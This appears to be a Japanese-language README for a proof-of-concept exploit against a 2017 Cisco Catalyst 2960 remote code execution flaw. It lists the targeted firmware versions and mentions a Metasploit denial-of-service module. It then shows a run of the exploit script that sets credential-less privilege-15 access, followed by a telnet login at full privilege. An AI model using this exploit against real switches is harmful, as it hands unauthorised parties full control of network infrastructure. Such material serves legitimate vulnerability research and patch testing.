
Cisco Catalyst リモートコード実行 PoC
Cisco Catalyst リモートコード実行 PoC
このリポジトリには、Cisco Systemsが2017年3月17日に公開したリモートコード実行の脆弱性を悪用するためのProof-Of-Conceptコードが含まれています - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp
エクスプロイトの解説: https://errorcybernews.com/2017/05/11/cisco-systems-merilis-update-switch/
RCEエクスプロイトコードは、Cisco Catalyst 2960スイッチモデル向けに提供されています。このエクスプロイトはファームウェアに依存します。対応しているファームウェアバージョンは次の2つです:
12.2(55)SE1 C2960-LANBASEK9-M
12.2(55)SE11 C2960-LANBASEK9-M
サービス拒否(DoS)コードは、metasploitのRubyモジュールとして提供されています。これは、Ciscoアドバイザリに記載されているほとんどのスイッチで動作するはずです(要確認)。
$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.
catalyst1#show priv
Current privilege level is 15
Artem Kondratenko https://twitter.com/artkond